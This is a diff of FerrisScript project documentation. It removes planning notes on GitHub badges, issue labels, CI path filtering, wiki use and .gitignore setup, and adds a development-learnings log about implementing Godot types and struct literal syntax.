-- Would benefit from CONTRIBUTING.md being in place first
-- Fits with v0.0.3 quality improvements or v0.1.0 tooling
-
-### Related Issues to Track
-
-When implemented, this will resolve:
-
-- Deferred Godot validations from Phase 1
-- Manual testing burden for contributors
-- CI/CD gap in Godot integration coverage

-## Badge Maintenance Checklist
-
-### On Each Release (v0.0.2, v0.1.0, etc.)
-
-- [ ] Update version badge
-- [ ] Update status badge (alpha → beta → stable)
-- [ ] Update test count badge if significantly changed
-- [ ] Verify build status badge is green
-- [ ] Check dynamic badges still work (stars, forks)
-
-### Monthly
-
-- [ ] Verify all badge links work (no 404s)
-- [ ] Check if shields.io syntax changed
-- [ ] Update badge colors if conventions changed
-
----
-
-## Advanced: Custom GitHub Actions Badge
-
-**For v0.0.3+ when CI is implemented:**
-
-### Step 1: Name your workflow
-
-```yaml
-# .github/workflows/ci.yml
-name: CI  # This name appears in badge
-
-on: [push, pull_request]
-
-jobs:
-  test:
-    runs-on: ubuntu-latest
-    steps:
-      - uses: actions/checkout@v3
-      - run: cargo test
-```
-
-### Step 2: Add badge to README
-
-```markdown
-![CI](https://img.shields.io/github/actions/workflow/status/dev-parkins/FerrisScript/ci.yml?branch=main&style=flat-square&logo=github-actions&label=CI)
-```
-
-**Result:** Badge shows "passing" (green) or "failing" (red) based on latest CI run.

-
-## Implementation Steps
-
-### Immediate (Next 5 minutes)
-
-1. Copy recommended badge set above
-2. Open `README.md`
-3. Paste badges directly after `# FerrisScript 🦀` title
-4. Commit: `docs: add GitHub badges for version, status, stars, and requirements`
-5. Push to main
-
-### After CI Implementation (v0.0.3)
-
-1. Add build status badge with real workflow status
-2. Remove static "tests passing" badge, use dynamic CI badge
-3. Update GITHUB_BADGES_GUIDE.md with actual CI workflow name
-
----
-
-## Troubleshooting
-
-### Badge not showing
-
-- Check URL syntax (no typos in repo name)
-- Verify repo is public (badges don't work on private repos without tokens)
-- Check shields.io service status: https://status.shields.io/
-
-### Stars badge shows 0
-
-- Wait 5-10 minutes for shields.io cache to refresh
-- Hard refresh browser: Ctrl+F5 (Windows) or Cmd+Shift+R (Mac)
-- Check repo has public stars (not hidden)
-
-### Build status badge shows "unknown"
-
-- Verify `.github/workflows/ci.yml` file exists
-- Verify workflow has run at least once
-- Check workflow file name matches badge URL
-- Verify branch name (main vs master)

-# GitHub Labels Configuration for FerrisScript
-
-**Created**: October 4, 2025  
-**For**: v0.0.2 Release - Phase 5A  
-**Total Labels**: 20
-
----
-
-## Label System Overview
-
-This document defines the 20-label system for organizing issues and pull requests in the FerrisScript repository.
-
----
-
-## 1. Priority Labels (4)
-
-These indicate the urgency and importance of issues/PRs.
-
-| Label | Color | Description |
-|-------|-------|-------------|
-| `P0-Critical` | `#d73a4a` (red) | Critical bugs or blockers requiring immediate attention |
-| `P1-High` | `#ff6600` (orange) | High priority tasks that should be addressed soon |
-| `P2-Medium` | `#fbca04` (yellow) | Medium priority tasks for regular workflow |
-| `P3-Low` | `#0e8a16` (green) | Low priority tasks or nice-to-have improvements |
-
-**Usage**: Every issue should have exactly one priority label.
-
----
-
-## 2. Type Labels (6)
-
-These categorize the nature of the issue/PR.
-
-| Label | Color | Description |
-|-------|-------|-------------|
-| `bug` | `#d73a4a` (red) | Something isn't working correctly |

-| `documentation` | `#0075ca` (blue) | Documentation improvements or additions |
-| `enhancement` | `#84b6eb` (sky blue) | Improvement to existing functionality |
-| `question` | `#d876e3` (purple) | Questions or clarifications needed |
-| `discussion` | `#cc317c` (pink) | General discussion topics |
-
-**Usage**: Every issue should have at least one type label.
-
----
-
-## 3. Status Labels (4)
-
-These track the current state of an issue/PR.
-
-| Label | Color | Description |
-|-------|-------|-------------|
-| `needs-triage` | `#e4e669` (light yellow) | New issue awaiting initial review and prioritization |
-| `in-progress` | `#fbca04` (yellow) | Work is actively being done on this issue |
-| `blocked` | `#b60205` (dark red) | Blocked by external dependencies or decisions |
-| `wontfix` | `#ffffff` (white/gray) | Issue will not be addressed (with explanation) |
-
-**Usage**: Optional, used to track workflow state.
-
----
-
-## 4. Difficulty Labels (3)
-
-These help contributors find appropriate tasks for their skill level.
-
-| Label | Color | Description |
-|-------|-------|-------------|
-| `good-first-issue` | `#7057ff` (purple) | Good for newcomers to the project |

-
-**Usage**: Optional, primarily for community contributions.
-
----
-
-## 5. Component Labels (5)
-
-These identify which part of the codebase is affected.
-
-| Label | Color | Description |
-|-------|-------|-------------|
-| `compiler` | `#1d76db` (blue) | Related to compiler crate (lexer, parser, type checker) |

-
-**Usage**: Issues/PRs may have multiple component labels.
-
----
-
-## Label Usage Guidelines
-
-### For Issue Triage
-
-1. **New Issue Arrives**:
-   - Automatically gets `needs-triage` label
-   - Maintainer reviews and adds:
-     - One priority label (P0-P3)
-     - One or more type labels (bug, feature, etc.)
-     - Relevant component labels
-   - Remove `needs-triage` once categorized
-
-2. **Work Begins**:
-   - Add `in-progress` label
-   - Assign to person working on it
-   - Link to PR when created
-
-3. **Work Blocked**:
-   - Add `blocked` label
-   - Add comment explaining what's blocking
-   - Update when unblocked
-
-4. **Work Completed**:
-   - PR merged → Issue auto-closes
-   - Labels preserved for search/analytics
-
-### For Pull Requests
-
-- Add same labels as related issue(s)
-- Add component labels for files changed
-- Priority reflects urgency of merge
-
-### For Community Contributions
-
-- Mark beginner-friendly issues with `good-first-issue`
-- Add detailed descriptions and acceptance criteria
-- Link to CONTRIBUTING.md for guidance
-

-
----
-
-## Label Examples in Practice
-
-### Example 1: Bug Report
-
-**Issue**: "Parser crashes on empty function body"
-
-**Labels**:
-
-- `P1-High` (serious bug, but not blocking)
-- `bug` (it's broken)
-- `compiler` (parser is in compiler crate)
-
-### Example 2: Feature Request
-
-**Issue**: "Add support for arrays"
-
-**Labels**:
-
-- `P2-Medium` (important but not urgent)
-- `feature` (new functionality)
-- `compiler` (requires parser, type checker changes)
-- `runtime` (requires runtime support)
-
-### Example 3: Documentation Improvement
-
-**Issue**: "README needs comparison with GDScript"
-
-**Labels**:
-
-- `P2-Medium` (nice to have)
-- `documentation` (docs change)
-- `docs` (documentation component)
-- `good-first-issue` (easy for newcomers)
-
-### Example 4: Community Discussion
-
-**Issue**: "Should we support operator overloading in v0.2.0?"
-
-**Labels**:
-
-- `P3-Low` (future planning)
-- `discussion` (seeking feedback)
-- `compiler` (would affect compiler)
-
----
-
-## Analytics & Search
-
-### Useful Queries
-
-- **All critical bugs**: `is:open label:P0-Critical label:bug`
-- **Good first issues**: `is:open label:good-first-issue`
-- **Compiler work**: `is:open label:compiler`
-- **In progress**: `is:open label:in-progress`
-- **Blocked items**: `is:open label:blocked`
-
-### Reporting
-
-- Track by priority: Count issues per priority label
-- Track by component: See which parts need attention
-- Track completion: Closed issues by label over time
-
----
-
-## Maintenance
-
-### Quarterly Review
-
-- Evaluate label usage effectiveness
-- Add new labels if needed
-- Deprecate unused labels
-- Update descriptions for clarity
-
-### As Project Grows
-
-- May need sub-component labels (e.g., `compiler-lexer`, `compiler-parser`)
-- May add release labels (e.g., `v0.0.2`, `v0.1.0`)
-- May add platform labels (e.g., `windows`, `linux`, `macos`)

-# GitHub Project Management Strategy
-
-**Created:** October 2, 2025  
-**Purpose:** Document GitHub features, CI/CD optimization, and project organization decisions  
-**Status:** Active planning document
-
----
-
-## 1. CI/CD Workflow Optimization
-
-### Current State Analysis
-
-**File:** `.github/workflows/ci.yml`
-
-**Current Triggers:**
-
-```yaml
-on:
-  push:
-    branches: [main, develop]
-    tags: ['v*']
-  pull_request:
-    branches: [main]
-```
-
-**Current Jobs:**
-
-- `test` - Runs on all pushes/PRs (3 platforms: Ubuntu, Windows, macOS)
-  - Cargo test
-  - Clippy (continue-on-error)
-  - Fmt check (continue-on-error)
-- `build` - Runs after test passes (3 platform releases)
-
-### Issue: Documentation PRs Running Full CI
-
-**Problem:** Documentation-only changes trigger:
-
-- 3x platform matrix tests (~5 minutes each = 15 minutes)
-- 3x platform release builds (~10 minutes each = 30 minutes)
-- **Total: ~45 minutes for a typo fix**
-
-### Solution Options
-
-#### Option 1: Path-Based Conditional Execution (RECOMMENDED)
-
-**Approach:** Skip code-related jobs for docs-only changes
-
-```yaml
-name: CI/CD
-
-on:
-  push:
-    branches: [main, develop]
-    tags: ['v*']
-  pull_request:
-    branches: [main]
-
-jobs:
-  # Detect change type
-  changes:
-    runs-on: ubuntu-latest
-    outputs:
-      code: ${{ steps.filter.outputs.code }}
-      docs: ${{ steps.filter.outputs.docs }}
-    steps:
-      - uses: actions/checkout@v4
-      - uses: dorny/paths-filter@v2
-        id: filter
-        with:
-          filters: |
-            code:
-              - 'crates/**'
-              - 'Cargo.toml'
-              - 'Cargo.lock'
-            docs:
-              - '**.md'
-              - 'docs/**'
-              - '.github/ISSUE_TEMPLATE/**'
-              - '.github/PULL_REQUEST_TEMPLATE.md'
-
-  # Only run tests if code changed
-  test:
-    needs: changes
-    if: needs.changes.outputs.code == 'true'
-    # ... existing test job
-
-  # Only run builds if code changed and tests passed
-  build:
-    needs: [changes, test]
-    if: needs.changes.outputs.code == 'true'
-    # ... existing build job
-
-  # Quick validation for docs-only PRs
-  docs-check:
-    needs: changes
-    if: needs.changes.outputs.docs == 'true' && needs.changes.outputs.code == 'false'
-    runs-on: ubuntu-latest
-    steps:
-      - uses: actions/checkout@v4
-      - name: Check Markdown links
-        uses: gaurav-nelson/github-action-markdown-link-check@v1
-      - name: Check spelling (optional)
-        uses: rojopolis/spellcheck-github-actions@v0
-        with:
-          config_path: .github/spellcheck-config.yml
-```
-
-**Pros:**
-
-- ✅ Fast docs PRs (1-2 minutes vs 45 minutes)
-- ✅ Still validates markdown links
-- ✅ Full CI runs for code changes
-- ✅ No separate branch needed
-- ✅ Industry standard (used by Rust, TypeScript, React)
-
-**Cons:**
-
-- ⚠️ Requires `dorny/paths-filter` action
-- ⚠️ More complex workflow file
-
-**Time Savings:**
-
-- Docs PR: 45 min → 2 min (95% reduction)
-- Code PR: No change (45 min)
-
-#### Option 2: Separate Docs Branch with Minimal CI
-
-**Approach:** Use `docs/*` branches with different CI rules
-
-```yaml
-on:
-  push:
-    branches: 
-      - main
-      - develop
-      - 'docs/**'  # Add docs branches
-  pull_request:
-    branches: [main]
-
-jobs:
-  test:
-    # Skip on docs branches
-    if: "!startsWith(github.ref, 'refs/heads/docs/')"
-    # ... existing
-```
-
-**Pros:**
-
-- ✅ Simple workflow modification
-- ✅ Clear branch naming convention
-
-**Cons:**
-
-- ⚠️ Requires discipline (use `docs/` prefix)
-- ⚠️ Doesn't help with docs in feature branches
-- ⚠️ Still runs CI if one code file + docs files change
-
-#### Option 3: Manual Workflow Dispatch
-
-**Approach:** Use `workflow_dispatch` for docs
-
-**Pros:**
-
-- ✅ Maximum control
-
-**Cons:**
-
-- ❌ Manual trigger required (slows workflow)
-- ❌ Easy to forget
-
-### Recommendation
-
-#### Implement Option 1 (Path-Based Conditional Execution)
-
-**Reasoning:**
-
-1. Industry standard (Rust, Node.js, React all use this)
-2. Automatic - no manual intervention
-3. Handles mixed PRs (some code + some docs)
-4. Provides docs-specific checks (link validation)
-5. Fastest for docs-only changes
-
-Implementation Phase: v0.0.3 (after v0.0.2 docs complete)
-
-Estimated Setup Time: 1-2 hours
-
----
-
-## 2. GitHub Labels Strategy
-
-### Current State
-
-**Labels:** None configured (GitHub defaults only)

-
-### Label Usage in Templates
-
-**Update `.github/ISSUE_TEMPLATE/bug_report.md`:**
-
-```yaml
-labels: ["type: bug", "status: needs-triage"]
-```
-
-**Update `.github/ISSUE_TEMPLATE/feature_request.md`:**
-
-```yaml
-labels: ["type: feature", "status: needs-triage"]
-```
-
-**Update `.github/ISSUE_TEMPLATE/documentation.md`:**
-
-```yaml
-labels: ["type: documentation", "status: needs-triage"]
-```
-
-### Label Automation (Future - v0.0.3+)
-
-Use GitHub Actions to auto-label:
-
-- PRs that touch docs: `type: documentation`
-- PRs with >500 lines: `difficulty: hard`
-- PRs from first-time contributors: `good first issue`
-
-**Tool:** [actions/labeler](https://github.com/actions/labeler)

-4. **Close milestone** when version ships
-5. **Create release notes** from milestone issues
-
----
-
-## 4. GitHub Projects (Beta)
-
-### Current State
-
-**Projects:** None configured
-
-### Recommendation
-
-**Wait until v0.0.3** - Current workflow (branches + PRs + milestones) sufficient for now.
-
-**When to Adopt:**
-
-- More than 3 active contributors
-- Managing >20 concurrent issues
-- Need Kanban board visualization
-
-### Future Project Setup (v0.0.3+)
-
-**Board Name:** "FerrisScript Development"
-
-**Columns:**
-
-- 📥 Backlog
-- 🎯 Planned (this version)
-- 🚧 In Progress
-- 👀 In Review
-- ✅ Done
-
-**Automation:**
-
-- Issues → Backlog
-- PRs → In Review
-- Merged PRs → Done
-
----
-
-## 5. GitHub Wiki Strategy
-
-### Current State
-
-**Wiki:** Not enabled
-
-### Recommendation: **Use Wiki Selectively**
-
-### Wiki vs. Docs Folder Decision Matrix
-
-| Content Type | Location | Rationale |
-|--------------|----------|-----------|
-| **Official docs** | `docs/` | Version controlled, reviewed via PR, part of releases |
-| **User guides** | `docs/` | Same as above |
-| **API reference** | `docs/` | Generated from code comments |
-| **Contributing** | `CONTRIBUTING.md` | Root file, GitHub standard |
-| **Code of Conduct** | `CODE_OF_CONDUCT.md` | Root file, GitHub standard |
-| **FAQ** | `docs/FAQ.md` | Stable, version-controlled |
-| **Troubleshooting** | `docs/TROUBLESHOOTING.md` | Stable, version-controlled |
-| | | |
-| **Community tutorials** | Wiki | Community-contributed, rapid updates |
-| **Third-party integrations** | Wiki | External tools, not core docs |
-| **Meeting notes** | Wiki | Internal, not user-facing |
-| **Design discussions** | Wiki or Discussions | Ongoing, not finalized |
-| **Known issues (dynamic)** | Wiki | Frequently updated |
-
-### Wiki Sections (if enabled in v0.0.3+)
-
-```
-📚 Community Tutorials
-  - "Building Your First Game with FerrisScript"
-  - "Porting from GDScript to FerrisScript"
-  - "Performance Optimization Tips"
-
-🔌 Third-Party Tools
-  - VS Code extensions (community-built)
-  - Build tool integrations
-  - Alternative editors
-
-💡 Design Documents
-  - Future feature proposals
-  - Architecture decisions
-  - RFC (Request for Comments) discussions
-
-🗒️ Meeting Notes
-  - Developer sync notes
-  - Community calls
-```
-
-### Why Not Wiki for Core Docs?
-
-**Problems with Wiki for official docs:**
-
-1. ❌ Not version controlled (no PR review)
-2. ❌ Not part of releases (can diverge)
-3. ❌ Hard to maintain consistency
-4. ❌ No automated testing (broken links, typos)
-5. ❌ Separate from code contributions
-
-**Exceptions (when Wiki is good):**
-
-1. ✅ Rapidly changing content (known issues)
-2. ✅ Community contributions (tutorials)
-3. ✅ Internal process docs (meeting notes)
-4. ✅ Supplementary content (not critical)
-
-### Decision: **Keep Core Docs in `docs/`, Enable Wiki for Community**
-
-**Phase:** v0.0.3+ (after docs stable)
-

-# .gitignore Setup Checklist
-
-**Purpose**: Ensure proper .gitignore configuration before first commit  
-**Created**: October 7, 2025  
-**Applies To**: All new projects, folders, and extensions
-
----
-
-## 🎯 Why This Matters
-
-**Problem**: Committing build outputs, dependencies, or temporary files clutters git history and requires cleanup.
-
-**Solution**: Set up `.gitignore` **before** first commit, then verify it's working.
-
-**Time Investment**: 1-2 minutes  
-**Time Saved**: 5-10 minutes cleanup + cleaner git history
-
----
-
-## ✅ Checklist for New Projects/Folders
-
-### 1. Create .gitignore First
-
-**Before** creating any files in a new folder:
-
-```bash
-# Create .gitignore in new folder
-touch .gitignore   # Linux/macOS
-New-Item .gitignore   # PowerShell
-
-# Or copy from template
-cp templates/.gitignore-template ./.gitignore
-```
-
-### 2. Add Standard Exclusions
-
-Based on project type:
-
-#### TypeScript/Node.js Projects
-
-```gitignore
-# Dependencies
-node_modules/
-package-lock.json   # (optional, depends on team policy)
-
-# Build outputs
-dist/
-out/
-build/
-*.js.map
-*.d.ts
-
-# IDE
-.vscode/settings.json
-.idea/
-
-# OS
-.DS_Store
-Thumbs.db
-
-# Logs
-*.log
-npm-debug.log*
-
-# Environment
-.env
-.env.local
-```
-
-#### Rust Projects
-
-```gitignore
-# Build outputs
-target/
-Cargo.lock   # (for libraries; keep for applications)
-
-# IDE
-.vscode/settings.json
-.idea/
-
-# OS
-.DS_Store
-Thumbs.db
-
-# Coverage
-*.profraw
-tarpaulin-report.html
-cobertura.xml
-```
-
-#### VS Code Extensions
-
-```gitignore
-# Dependencies
-node_modules/
-
-# Build outputs
-out/
-dist/
-*.vsix
-
-# TypeScript
-*.js.map
-*.d.ts   # (if generated)
-
-# Testing
-.vscode-test/
-
-# IDE
-.vscode/settings.json
-
-# Logs
-*.log
-```
-
-### 3. Add Project-Specific Exclusions
-
-```gitignore
-# Temporary files (PR bodies, scripts)
-/temp/
-*.tmp
-.pr-body-*
-
-# Test outputs
-coverage/
-.nyc_output/
-
-# Local configuration
-local.config.json
-```
-
-### 4. Verify Before First Commit
-
-**Critical Step**: Check that gitignore is working!
-
-```bash
-# Check what git will track
-git status
-
-# Should NOT see:
-# - node_modules/
-# - out/ or dist/
-# - *.log files
-# - temp/ folder
-
-# If you see unwanted files:
-# 1. Add them to .gitignore
-# 2. Run git status again
-# 3. Repeat until clean
-```
-
-### 5. Add and Commit .gitignore
-
-```bash
-# Add ONLY .gitignore first
-git add .gitignore
-
-# Commit it
-git commit -m "chore: Add .gitignore for [project type]
-
-- Exclude build outputs (out/, dist/, target/)
-- Exclude dependencies (node_modules/, vendor/)
-- Exclude IDE files (.vscode/settings.json)
-- Exclude temporary files (temp/, *.tmp)"
-
-# THEN add rest of files
-git add .
-git commit -m "feat: Initial [project] implementation"
-```
-
----
-
-## 🔧 If You Already Committed Unwanted Files
-
-### Remove from Git Tracking (Keep Locally)
-
-```bash
-# Remove folder from git but keep locally
-git rm -r --cached folder_name/
-
-# Remove specific file pattern
-git rm --cached "**/*.log"
-
-# Commit the removal
-git commit -m "chore: Remove [files] from git tracking
-
-Files are now properly gitignored but were committed earlier.
-Removed from git tracking but still exist locally."
-
-# Push changes
-git push
-```
-
-### Example: Remove out/ folder
-
-```bash
-# 1. Ensure out/ is in .gitignore
-echo "out/" >> .gitignore
-
-# 2. Remove from git tracking
-git rm -r --cached out/
-
-# 3. Verify
-git status
-# Should show: deleted: out/file1.js, deleted: out/file2.js
-
-# 4. Commit
-git commit -m "chore: Remove out/ folder from git tracking"
-
-# 5. Push
-git push
-```
-
----
-
-## 📋 Common Patterns by Technology
-
-### Node.js / TypeScript
-
-```gitignore
-node_modules/
-out/
-dist/
-build/
-*.js.map
-*.d.ts
-.env
-.vscode/settings.json
-```
-
-### Rust
-
-```gitignore
-target/
-Cargo.lock
-*.profraw
-.vscode/settings.json
-```
-
-### Python
-
-```gitignore
-__pycache__/
-*.py[cod]
-.venv/
-venv/
-*.egg-info/
-dist/
-build/
-.pytest_cache/
-.coverage
-```
-
-### Go
-
-```gitignore
-# Binaries
-*.exe
-*.exe~
-*.dll
-*.so
-*.dylib
-
-# Test coverage
-*.out
-coverage.txt
-
-# IDE
-.vscode/settings.json
-.idea/
-```
-
----
-
-## 🧪 Testing Your .gitignore
-
-### Test 1: Create Ignored File
-
-```bash
-# Create a file that should be ignored
-echo "test" > node_modules/test.txt   # (if node_modules/ exists)
-# OR
-mkdir temp && echo "test" > temp/test.txt
-
-# Check git status
-git status
-
-# Should NOT see the file
-```
-
-### Test 2: Verify Patterns
-
-```bash
-# Check if pattern matches
-git check-ignore -v filename
-
-# Example:
-git check-ignore -v out/extension.js
-# Output: .gitignore:5:out/    out/extension.js
-#         ^            ^        ^
-#         |            |        matched file
-#         |            pattern
-#         file containing pattern
-```
-
-### Test 3: List Ignored Files
-
-```bash
-# Show all ignored files in directory
-git status --ignored
-
-# Should see:
-# Ignored files:
-#   node_modules/
-#   out/
-#   temp/
-```
-
----
-
-## ⚠️ Common Mistakes
-
-### ❌ Mistake 1: Adding .gitignore After Committing
-
-```bash
-# Bad workflow:
-git add .
-git commit -m "Initial commit"   # Oops, committed node_modules!
-echo "node_modules/" >> .gitignore   # Too late!
-```
-
-**Fix**: Always create .gitignore FIRST
-
-### ❌ Mistake 2: Not Verifying .gitignore Works
-
-```bash
-# Bad workflow:
-echo "out/" >> .gitignore
-git add .   # Didn't check git status first!
-git commit -m "..."   # Still committed out/ files!
-```
-
-**Fix**: Run `git status` before `git add`
-
-### ❌ Mistake 3: Forgetting .gitignore in Subfolders
-
-```bash
-# Bad: .gitignore only in root
-project/
-  .gitignore   # Excludes root-level node_modules
-  extensions/
-    vscode/
-      node_modules/   # Oops! This gets committed!
-```
-
-**Fix**: Add .gitignore in each folder with dependencies/builds
-
----
-
-## 📊 Checklist Template
-
-Copy this for new projects:
-
-```markdown
-## .gitignore Setup
-
-- [ ] Create .gitignore BEFORE creating other files
-- [ ] Add build outputs (out/, dist/, target/)
-- [ ] Add dependencies (node_modules/, .venv/, vendor/)
-- [ ] Add IDE files (.vscode/settings.json, .idea/)
-- [ ] Add temporary files (temp/, *.tmp, *.log)
-- [ ] Add OS files (.DS_Store, Thumbs.db)

-# Version Management & Branching Strategy Research - Planning
+# FerrisScript Development Learnings
+
+**Last Updated**: October 11, 2025  
+**Purpose**: Capture insights, patterns, and lessons learned during FerrisScript development
+
+---
+
+## 📖 Table of Contents
+
+1. [Phase 4: Godot Types (Color, Rect2, Transform2D)](#phase-4-godot-types-color-rect2-transform2d)
+2. [Version Management & Branching Strategy](#version-management--branching-strategy)
+
+---
+
+## Phase 4: Godot Types (Color, Rect2, Transform2D)
+
+**Date**: October 10, 2025  
+**Context**: Implemented Phase 4 types following Vector2 pattern, 30 tests commented out due to struct literal syntax gap
+
+### 🎯 What Worked Well
+
+#### 1. Following Established Patterns ✅
+
+**Pattern**: Vector2 implementation provided excellent blueprint
+
+- **AST**: Type enum addition pattern clear
+- **Type Checker**: Field access validation reusable
+- **Runtime**: Value enum + field get/set established
+- **Testing**: Test structure consistent across types
+
+**Evidence**: Phase 4 completed in focused session with minimal refactoring
+
+**Lesson**: Invest in reference implementations early - they compound value
+
+---
+
+#### 2. Nested Type Handling (Box<Value>) ✅
+
+**Challenge**: Rect2 and Transform2D contain Vector2 fields
+
+- **Solution**: Use `Box<Value>` for nested types to avoid recursive enum size issues
+- **Pattern**:
+
+  ```rust
+  pub enum Value {
+      Color { r: f32, g: f32, b: f32, a: f32 },
+      Rect2 { position: Box<Value>, size: Box<Value> },  // ✅ Boxed
+      Transform2D { position: Box<Value>, rotation: f32, scale: Box<Value> },
+  }
+  ```
+
+**Evidence**: No compiler errors about "infinite size", runtime performance unaffected
+
+**Lesson**: Nested types in enums require heap indirection - use Box<T> proactively
+
+---
+
+#### 3. Error Code Pre-Allocation ✅
+
+**Strategy**: Reserve error code ranges during planning phase
+
+- E701-E710: Reserved for Phase 4 types before implementation
+- Clear semantic grouping (E701-E703: field access, E704-E706: construction, E707-E710: type mismatches)
+
+**Benefits**:
+
+- No code conflicts during implementation
+- Clear error categorization
+- Easy to reference in tests
+- Documentation writes itself
+
+**Lesson**: Pre-allocate error codes in blocks of 10 during planning
+
+---
+
+#### 4. Type System Extensibility Validated ✅
+
+**Achievement**: Added 3 new types without modifying existing type system architecture
+
+- Type enum addition: Straightforward
+- Field access: Generic pattern scaled
+- Runtime execution: No fundamental changes needed
+
+**Evidence**: 517 tests passing, no regressions
+
+**Lesson**: Well-designed type system pays dividends - invest in architecture upfront
+
+---
+
+### 🚧 What Could Be Improved
+
+#### 1. Test-First Development Gap ⚠️
+
+**Problem**: Wrote tests before implementing struct literal syntax
+
+- 30 tests commented out immediately after writing
+- Tests had hidden dependency on unimplemented parser feature
+- Reduced validation capability during development
+
+**Better Approach**:
+
+1. Implement struct literals FIRST (or use workaround syntax)
+2. Write tests that can actually run
+3. Iterate on working code
+
+**Evidence**: Had to test via function parameters instead of direct construction
+
+```rust
+// What we could test:
+fn test_color(c: Color) { let r = c.r; }
+
+// What we couldn't test:
+let c = Color { r: 1.0, g: 0.5, b: 0.0, a: 1.0 };  // Parser doesn't support this yet
+```
+
+**Lesson**: Don't write tests for unimplemented features - they create false sense of completeness
+
+---
+
+#### 2. Dependency Planning ⚠️
+
+**Problem**: Didn't identify struct literal syntax as prerequisite
+
+- Assumed function parameters were sufficient testing mechanism
+- Underestimated value of direct construction tests
+- Created "blocked" work (30 tests waiting)
+
+**Better Approach**:
+
+1. Map dependencies BEFORE starting implementation
+2. Implement prerequisites first OR document workarounds
+3. Make "blockers" explicit in plan
+
+**Evidence**: Phase 4 considered "complete" but 30 tests disabled
+
+**Lesson**: Feature completeness includes ALL validation mechanisms, not just core functionality
+
+---
+
+#### 3. Documentation of Prerequisites 📝
+
+**Problem**: Tests didn't document WHY they were commented out
+
+- Original comment: `// NOTE: Tests temporarily disabled - awaiting struct literal syntax`
+- No reference to tracking issue
+- No estimate of when feature would be implemented
+- No workaround examples
+
+**Better Approach**:
+
+```rust
+// BLOCKED: Tests disabled - awaiting struct literal syntax implementation
+// Tracking: docs/planning/v0.0.4/STRUCT_LITERAL_IMPLEMENTATION_ANALYSIS.md
+// Workaround: Use function parameters for now (see test_color_field_access_via_param)
+// Estimate: 4-6 hours to implement struct literals
+```
+
+**Lesson**: Document blockers with context - future you will thank present you
+
+---
+
+### 📊 Metrics & Outcomes
+
+**Implementation Stats**:
+
+- **New Types**: 3 (Color, Rect2, Transform2D)
+- **New Error Codes**: 10 (E701-E710)
+- **Tests Added**: 30 (commented out, awaiting struct literals)
+- **Tests Passing**: 517 total (no regressions)
+- **Lines of Code**: ~400 (AST + type checker + runtime + godot_bind)
+- **Time Investment**: ~4-5 hours (focused session)
+
+**Quality Metrics**:
+
+- **Compilation**: ✅ Zero errors
+- **Linting**: ✅ Zero clippy warnings
+- **Formatting**: ✅ All cargo fmt passing
+- **Tests**: ✅ All 517 passing (30 deferred)
+- **Documentation**: ✅ Updated README, ROADMAP, execution plan
+
+---
+
+### 🎓 Actionable Takeaways
+
+#### For Next Types (e.g., Basis, AABB, Plane)
+
+1. ✅ **Check parser prerequisites** - Can we construct these types with current syntax?
+2. ✅ **Implement blockers first** - Struct literals before type implementation
+3. ✅ **Write runnable tests** - Use workarounds if features missing
+4. ✅ **Document dependencies** - Make blockers explicit in plan
+5. ✅ **Follow Vector2/Color pattern** - Established architecture works
+
+#### For Future Features (e.g., @export, script integration)
+
+1. ✅ **Map cross-module dependencies** - Which crates touched?
+2. ✅ **Identify prerequisites** - What must exist first?
+3. ✅ **Phase complex work** - Break into 2-3 hour chunks
+4. ✅ **Test incrementally** - Validate each phase before next
+5. ✅ **Research upfront** - Dedicated research documents accelerate implementation
+
+---
+
+### 🔍 Research Documents Created
+
+**STRUCT_LITERAL_SYNTAX_RESEARCH.md**:
+
+- Problem: 30 tests blocked by missing syntax
+- Analysis: AST lacks StructLiteral variant
+- Solution: 4-6 hour implementation plan
+- Quick Win: MVP in 2-3 hours (basic literals only)
+
+**EXPORT_ANNOTATION_RESEARCH.md**:
+
+- Problem: @export is complex cross-module system
+- Analysis: 6 complexity categories, 15 error codes
+- Solution: 3-phase implementation (parser → runtime → Godot)
+- Estimate: 23-31 hours (significantly more complex than struct literals)
+
+**Lesson**: Upfront research documents save 3-5x implementation time by preventing rework
+
+---
+
+### 🚀 Next Steps
+
+**Immediate** (Struct Literals - MVP):
+
+1. Implement basic struct literal syntax (2-3 hours)
+2. Enable 15-20 tests
+3. Validate approach works
+
+**Follow-up** (Struct Literals - Complete):
+
+1. Add nested literal support (2-3 hours)
+2. Enable remaining 10-15 tests
+3. Complete Phase 4 validation
+
+**Future** (Phase 5 - @export):
+
+1. Review research document
+2. Plan 3-phase implementation
+3. Execute in focused sessions
+
+---
+
+## Phase 4.5: Struct Literal MVP + Robustness Testing
+
+**Date**: January 19, 2025  
+**Context**: Implemented struct literal syntax MVP and comprehensive robustness testing following checkpoint methodology
+
+### 🎯 What Worked Well
+
+#### 1. Checkpoint Methodology ✅
+
+**Approach**: 8 structured checkpoints (Modify → Validate → Test → Document)
+
+- Checkpoint 1: AST modification (10 min) - Added StructLiteral variant
+- Checkpoint 2: Parser implementation (30 min) - Uppercase heuristic prevents `if x {}` ambiguity
+- Checkpoint 3: Type checker validation (45 min) - All 4 types validated
+- Checkpoint 4: Runtime evaluation (30 min) - Value construction working
+- Checkpoints 5-8: Incremental test validation (35 min total)
+
+**Benefits**:
+
+- Early issue detection (caught uppercase heuristic bug in Checkpoint 2)
+- Clear progress tracking
+- Easy to pause/resume work
+- Natural documentation points
+
+**Evidence**: **2.5 hours total** from start to 548 tests passing, **3 bugs caught early**
+
+**Lesson**: Checkpoint methodology prevents time loss from late-stage bugs
+
+---
+
+#### 2. Error Code Reuse Strategy ✅
+
+**Pattern**: Reuse existing error codes across similar types
+
+- **E704**: Missing field (Color, Vector2)
+- **E705**: Missing field (Rect2)
+- **E706**: Missing field (Transform2D)
+- **E701-E703**: Unknown field (respective types)
+- **E707-E709**: Type mismatch (respective types)
+
+**Benefits**:
+
+- Semantic grouping maintained
+- No error code explosion
+- Clear documentation patterns
+- Easy to remember (E70x = struct literal errors)
+
+**Evidence**: 27 compiler robustness tests cover all error codes
+
+**Lesson**: Error code ranges don't need 1:1 mapping to features - semantic grouping more valuable
+
+---
+
+#### 3. Robustness Testing Strategy ✅
+
+**Approach**: Test edge cases after MVP implementation
+
+- **27 compiler tests** (missing fields, wrong types, extra fields, coercion)
+- **12 runtime tests** (execution, functions, loops, conditionals, chains)
+- **5 integration examples** (real-world patterns in `.ferris` files)
+
+**Coverage**:
+
+- ✅ Missing required fields (Vector2, Color, Rect2, Transform2D)
+- ✅ Unknown/extra fields
+- ✅ Type mismatches (string → numeric, primitive → Vector2)
+- ✅ Integer coercion (i32 → f32 in Color/Vector2)
+- ✅ Nested field access chains (`rect.position.x`)
+- ✅ Function parameters and returns
+- ✅ Conditionals and loops with struct literals
+
